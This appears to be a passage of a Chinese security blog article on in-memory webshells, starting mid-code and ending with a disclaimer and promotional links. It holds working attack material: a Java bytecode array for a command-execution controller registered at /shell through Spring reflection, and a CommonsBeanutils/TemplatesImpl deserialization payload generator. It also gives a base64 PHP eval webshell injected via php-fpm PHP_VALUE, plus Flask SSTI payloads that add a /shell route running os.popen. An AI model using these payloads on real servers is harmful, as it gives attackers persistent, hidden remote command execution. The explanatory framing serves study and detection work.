byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -115, 10, 0, 30, 0, 72, 8, 0, 73, 11, 0, 74, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 9, 0, 79, 8, 0, 80, 10, 0, 9, 0, 81, 7, 0, 82, 8, 0, 83, 8, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 87, 0, 88, 10, 0, 87, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 17, 0, 93, 8, 0, 94, 10, 0, 17, 0, 95, 10, 0, 17, 0, 96, 10, 0, 17, 0, 97, 8, 0, 98, 11, 0, 99, 0, 100, 10, 0, 101, 0, 102, 10, 0, 101, 0, 103, 11, 0, 99, 0, 104, 7, 0, 105, 7, 0, 106, 7, 0, 107, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 37, 76, 99, 111, 109, 47, 101, 120, 97, 109, 112, 108, 101, 47, 118, 117, 108, 95, 100, 101, 109, 111, 47, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 59, 1, 0, 11, 77, 101, 109, 111, 114, 121, 83, 104, 101, 108, 108, 1, 0, 82, 40, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 59, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 59, 41, 86, 1, 0, 7, 105, 115, 76, 105, 110, 117, 120, 1, 0, 1, 90, 1, 0, 5, 111, 115, 84, 121, 112, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 1, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 7, 114, 101, 113, 117, 101, 115, 116, 1, 0, 39, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 59, 1, 0, 8, 114, 101, 115, 112, 111, 110, 115, 101, 1, 0, 40, 76, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 82, 7, 0, 45, 7, 0, 108, 7, 0, 92, 7, 0, 106, 7, 0, 109, 7, 0, 110, 7, 0, 105, 1, 0, 16, 77, 101, 116, 104, 111, 100, 80, 97, 114, 97, 109, 101, 116, 101, 114, 115, 1, 0, 25, 82, 117, 110, 116, 105, 109, 101, 86, 105, 115, 105, 98, 108, 101, 65, 110, 110, 111, 116, 97, 116, 105, 111, 110, 115, 1, 0, 56, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 119, 101, 98, 47, 98, 105, 110, 100, 47, 97, 110, 110, 111, 116, 97, 116, 105, 111, 110, 47, 82, 101, 113, 117, 101, 115, 116, 77, 97, 112, 112, 105, 110, 103, 59, 1, 0, 5, 118, 97, 108, 117, 101, 1, 0, 6, 47, 115, 104, 101, 108, 108, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 46, 106, 97, 118, 97, 1, 0, 43, 76, 111, 114, 103, 47, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 115, 116, 101, 114, 101, 111, 116, 121, 112, 101, 47, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 59, 12, 0, 31, 0, 32, 1, 0, 3, 99, 109, 100, 7, 0, 109, 12, 0, 111, 0, 112, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 113, 12, 0, 114, 0, 112, 12, 0, 115, 0, 116, 1, 0, 3, 119, 105, 110, 12, 0, 117, 0, 118, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 2, 115, 104, 1, 0, 2, 45, 99, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 122, 0, 123, 7, 0, 124, 12, 0, 125, 0, 126, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 12, 0, 31, 0, 127, 1, 0, 2, 92, 65, 12, 0, -128, 0, -127, 12, 0, -126, 0, -125, 12, 0, -124, 0, 116, 1, 0, 0, 7, 0, 110, 12, 0, -123, 0, -122, 7, 0, -121, 12, 0, -120, 0, -119, 12, 0, -118, 0, 32, 12, 0, -117, 0, -116, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 35, 99, 111, 109, 47, 101, 120, 97, 109, 112, 108, 101, 47, 118, 117, 108, 95, 100, 101, 109, 111, 47, 69, 118, 105, 108, 67, 111, 110, 116, 114, 111, 108, 108, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 37, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 113, 117, 101, 115, 116, 1, 0, 38, 106, 97, 118, 97, 120, 47, 115, 101, 114, 118, 108, 101, 116, 47, 104, 116, 116, 112, 47, 72, 116, 116, 112, 83, 101, 114, 118, 108, 101, 116, 82, 101, 115, 112, 111, 110, 115, 101, 1, 0, 12, 103, 101, 116, 80, 97, 114, 97, 109, 101, 116, 101, 114, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 12, 117, 115, 101, 68, 101, 108, 105, 109, 105, 116, 101, 114, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 7, 104, 97, 115, 78, 101, 120, 116, 1, 0, 3, 40, 41, 90, 1, 0, 4, 110, 101, 120, 116, 1, 0, 9, 103, 101, 116, 87, 114, 105, 116, 101, 114, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 87, 114, 105, 116, 101, 114, 1, 0, 5, 119, 114, 105, 116, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 102, 108, 117, 115, 104, 1, 0, 9, 115, 101, 110, 100, 69, 114, 114, 111, 114, 1, 0, 4, 40, 73, 41, 86, 0, 33, 0, 29, 0, 30, 0, 0, 0, 0, 0, 2, 0, 1, 0, 31, 0, 32, 0, 1, 0, 33, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 34, 0, 0, 0, 6, 0, 1, 0, 0, 0, 12, 0, 35, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 36, 0, 37, 0, 0, 0, 1, 0, 38, 0, 39, 0, 3, 0, 33, 0, 0, 1, -79, 0, 5, 0, 9, 0, 0, 0, -71, 43, 18, 2, -71, 0, 3, 2, 0, -58, 0, -93, 4, 62, 18, 4, -72, 0, 5, 58, 4, 25, 4, -58, 0, 18, 25, 4, -74, 0, 6, 18, 7, -74, 0, 8, -103, 0, 5, 3, 62, 29, -103, 0, 31, 6, -67, 0, 9, 89, 3, 18, 10, 83, 89, 4, 18, 11, 83, 89, 5, 43, 18, 2, -71, 0, 3, 2, 0, 83, -89, 0, 28, 6, -67, 0, 9, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 18, 2, -71, 0, 3, 2, 0, 83, 58, 5, -72, 0, 14, 25, 5, -74, 0, 15, -74, 0, 16, 58, 6, -69, 0, 17, 89, 25, 6, -73, 0, 18, 18, 19, -74, 0, 20, 58, 7, 25, 7, -74, 0, 21, -103, 0, 11, 25, 7, -74, 0, 22, -89, 0, 5, 18, 23, 58, 8, 44, -71, 0, 24, 1, 0, 25, 8, -74, 0, 25, 44, -71, 0, 24, 1, 0, -74, 0, 26, -89, 0, 12, 44, 17, 1, -108, -71, 0, 27, 2, 0, -89, 0, 4, 78, -79, 0, 1, 0, 0, 0, -76, 0, -73, 0, 28, 0, 3, 0, 34, 0, 0, 0, 66, 0, 16, 0, 0, 0, 17, 0, 11, 0, 18, 0, 13, 0, 19, 0, 20, 0, 20, 0, 38, 0, 21, 0, 40, 0, 23, 0, 99, 0, 24, 0, 112, 0, 25, 0, -128, 0, 26, 0, -108, 0, 27, 0, -97, 0, 28, 0, -88, 0, 29, 0, -85, 0, 31, 0, -76, 0, 34, 0, -73, 0, 33, 0, -72, 0, 36, 0, 35, 0, 0, 0, 92, 0, 9, 0, 13, 0, -101, 0, 40, 0, 41, 0, 3, 0, 20, 0, -108, 0, 42, 0, 43, 0, 4, 0, 99, 0, 69, 0, 44, 0, 45, 0, 5, 0, 112, 0, 56, 0, 46, 0, 47, 0, 6, 0, -128, 0, 40, 0, 48, 0, 49, 0, 7, 0, -108, 0, 20, 0, 50, 0, 43, 0, 8, 0, 0, 0, -71, 0, 36, 0, 37, 0, 0, 0, 0, 0, -71, 0, 51, 0, 52, 0, 1, 0, 0, 0, -71, 0, 53, 0, 54, 0, 2, 0, 55, 0, 0, 0, 52, 0, 9, -3, 0, 40, 1, 7, 0, 56, 31, 88, 7, 0, 57, -2, 0, 46, 7, 0, 57, 7, 0, 58, 7, 0, 59, 65, 7, 0, 56, -1, 0, 24, 0, 3, 7, 0, 60, 7, 0, 61, 7, 0, 62, 0, 0, 8, 66, 7, 0, 63, 0, 0, 64, 0, 0, 0, 9, 2, 0, 51, 0, 0, 0, 53, 0, 0, 0, 65, 0, 0, 0, 14, 0, 1, 0, 66, 0, 1, 0, 67, 91, 0, 1, 115, 0, 68, 0, 2, 0, 69, 0, 0, 0, 2, 0, 70, 0, 65, 0, 0, 0, 6, 0, 1, 0, 71, 0, 0};
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(classLoader, className, bytes, 0, bytes.length);//获得当前代码运行时的上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);//从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);//反射获取RequestMappingHandlerMapping的config字段
Field configField = requestMappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(requestMappingHandlerMapping);
//通过反射获得自定义controller中唯一的Method对象
Method method = (Class.forName(className).getDeclaredMethods())[0];//设置路由的请求方法为POST
RequestMethod requestMethod = RequestMethod.POST;
//在内存中动态注册 controller
RequestMappingInfo info = RequestMappingInfo.paths("/shell").methods(requestMethod).options(config).build();
requestMappingHandlerMapping.registerMapping(info, Class.forName(className).newInstance(), method);} catch (Exception e) {
e.printStackTrace();
}
}@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
以下是生成字节码和生成序列化payload的Test代码:
package com.example.vul_demo;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});return queue;
}@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}@org.junit.jupiter.api.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilController.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes).replace('[', '{').replace(']', '}'));
}}
以下是执行结果,传入payload:
之后进入/shell,成功注入:
目前PHP仍然是非常主流的服务端Web语言,只是网上很多文章还是更关注Java内存马,对PHP内存马的了解似乎只停留在PHP不死马。而PHP不死马一般存在文件落地不说,还非常容易被管理员发现,因此实在无法将它定义为内存马。
那我们怎样做不需要落地PHP文件就可以将我们的Webshell注入进服务器呢?其实方法很简单,还记得PHP有一个配置叫做auto_prepend_file吗?auto_prepend_file配置指定在主文件之前自动解析的文件名。假设此时我们拥有一个PHP网站的RCE漏洞,那么我们只需要修改auto_prepend_file的值为data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=
,接下来当我们每次访问别的PHP文件时都会自动解析<?php @eval($_POST['shell']); ?>
,然后就是传入shell参数进行RCE了。那假如我们没有RCE是不是就不行?其实不然,在某些情况可能我们只需要一个SSRF或者php-fpm未授权就可以完成PHP内存马的注入。
要了解这种注入手法,首先就要了解php-fpm是做什么的。php解释器和webserver进行通信时使用cgi协议,但是由于其每次都要开关进程,非常浪费资源,于是出现了fastcgi,利用一个进程一次处理多个请求。而php-fpm(php-Fastcgi Process Manager)就是fastcgi的实现,并提供了进程管理的功能。
以下是借用别的师傅的一张图:
可以看到Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给php-fpm,FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php。在PHP-FPM中有两个特殊的环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
php-fpm默认监听9000端口,假设我们可以跳过nginx直接与php-fpm进行通信,那我们是不是就可以伪造fastcgi协议数据包从而改变PHP里的配置项,例如我们之前提到的auto_prepend_file。
构造如下环境变量:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?x=x',
'REQUEST_URI': '/index.php?x=x',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = "data:;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4="',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
接着自己改改p牛的脚本运行就注入成功了:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Flask/jinja2 SSTI漏洞过于基础就不再介绍了,直接给出漏洞环境:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0")
payload:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
flask版本为2.0.3:
首先我们先看一下payload :
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
url_for是Flask的一个内置函数, 通过Flask内置函数可以调用其__globals__
属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules,比如__builtins__
模块。在__builtins__
模块中, Python
在启动时就直接为我们导入了很多内建函数,如eval,exec等。让我们看一下python中eval函数是怎样使用的:
给出以下例子:
namespace = {'a': 2, 'b': 3}
result = eval("a + b", namespace)
print(result)
可以看到,eval函数是在指定命名空间中执行表达式,a+b即2+3。
那在给出的payload中,以下为表达式:
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
以下代码即是我们制定的命名空间:
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
current_app
是一个本地代理,它的类型是werkzeug.local.LocalProxy
,它所代理的即是我们的app
对象:
只在请求线程内存在,它的生命周期就是在应用上下文里。离开了应用上下文,current_app
一样无法使用。
当一个网页请求来以后,Flask会实例化对象app,执行__call__
:
之后调用flask.app.Flask.wsgi_app
:
此处调用了flask.app.Flask.request_context
创建一个请求上下文RequestContext
类型的对象,:
其需接收werkzeug
中的environ
对象为参数。werkzeug
是Flask所依赖的WSGI函数库。接下来又调用了push()方法:
这是为什么?request_context
方法已经创建了请求上下文,为什么还要调用push
和pop
方法呢?这就是Flask关于上下文实现的关键了。对于Flask Web应用来说,每个请求就是一个独立的线程。请求之间的信息要完全隔离,避免冲突,这就需要使用本地线程环境(ThreadLocal),这个概念在其他语言如Java中也有。ctx.push()
方法,会将当前请求上下文,压入flask._request_ctx_stack
的栈中,这个_request_ctx_stack
是内部对象。同时这个_request_ctx_stack
栈是个ThreadLocal对象。也就是flask._request_ctx_stack
看似全局对象,其实每个线程的都不一样。请求上下文压入栈后,再次访问其都会从这个栈的顶端通过_request_ctx_stack.top
来获取,所以取到的永远是只属于本线程中的对象,这样不同请求之间的上下文就做到了完全隔离。请求结束后,线程退出,ThreadLocal线程本地变量也随即销毁,ctx.pop()
用来将请求上下文从栈里弹出,避免内存无法回收。
知道了app和_request_ctx_stack是什么,我们就来看看eval中的表达式:
app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
跟进装饰器@app.route('<url>')
的代码,可以看到其本质上也调用了flask对象的add_url_rule()方法:
以下是一个不使用装饰器创建路由的示例:
from flask import Flask
app = Flask(__name__)
def index():
return 'Hello World!'
app.add_url_rule('/index',endpoint='index',view_func=index)
以下是这三个参数的解释:
:param rule: The URL rule string.
:param endpoint: The endpoint name to associate with the rule
and view function. Used when routing and building URLs.
Defaults to ``view_func.__name__``.
:param view_func: The view function to associate with the
endpoint name.
因此payload中add_url_rule()方法的每一个参数的意思也就知道了,主要看payload中的第三个参数:
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
通过import模块导入os并执行os.popen(cmd).read()。_request_ctx_stack.top
拿到_request_ctx_stack
的栈顶元素,即当前请求上下文,之后从当前请求上下文获取request对象,通过request.args.get()的方法拿到cmd参数的值,如果cmd参数为空,就设为whoami。也就是说默认执行whoami。
至此,整个payload的脉络也梳理清楚了。那仔细想想还有什么办法对这个payload进行一些改变呢?以request对象为例,刚刚提到,在payload中,获取request对象是通过从全局变量中获取_request_ctx_stack,并获取它的栈顶元素及请求上下文,而请求上下文的request属性即是我们的需要的request对象。但在我们其实可以在url_for.__globals__
就找到此次请求的request对象,而不用通过这种方式来获取:
因此payload可以改为:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
以下是执行结果:
那当前app对象还能从哪里获取呢?可以从_app_ctx_stack的栈顶元素中获取应用上下文,在应用上下文中有app属性,即是我们需要的app对象:
因此payload可以改为:
?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd', 'whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['_app_ctx_stack'].top.app})}}
其实通过以下方式也可以获得当前的app对象:
get_flashed_messages.__globals__['current_app']
获取当前的request对象和app对象一定不只是这几种方式,大家可以继续补充。
flask/jinja2 SSTI漏洞在实际攻防场景其实并不常见,因此个人认为这种内存马只要注意不要出现SSTI漏洞就可以了。
因为目前在实习的原因,不像以前一样有很多时间,这篇文章断断续续写了一周,本以为用不了这么长时间。以前觉得内存马相关内容的东西太多了,即使目前写了过万字也感觉有很多的地方有待补充,比如Java内存马的种类还差很多种,以及这些内存马的查杀方式,关于查杀方式目前也只是写了Tomcat-Servlet内存马的 查杀方式。缺失的这些有空再写吧,没办法,这就是懒狗的日常,嘻嘻。
https://tttang.com/archive/1775
https://xz.aliyun.com/t/11566
https://github.com/c0ny1/java-memshell-scanner
https://github.com/iceyhexman/flask_memory_shell
来源:https://blog.snert.cn/index.php/2023/08/09/java-python-php-memory-webshell/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
巧用FOFA挖到你的第一个漏洞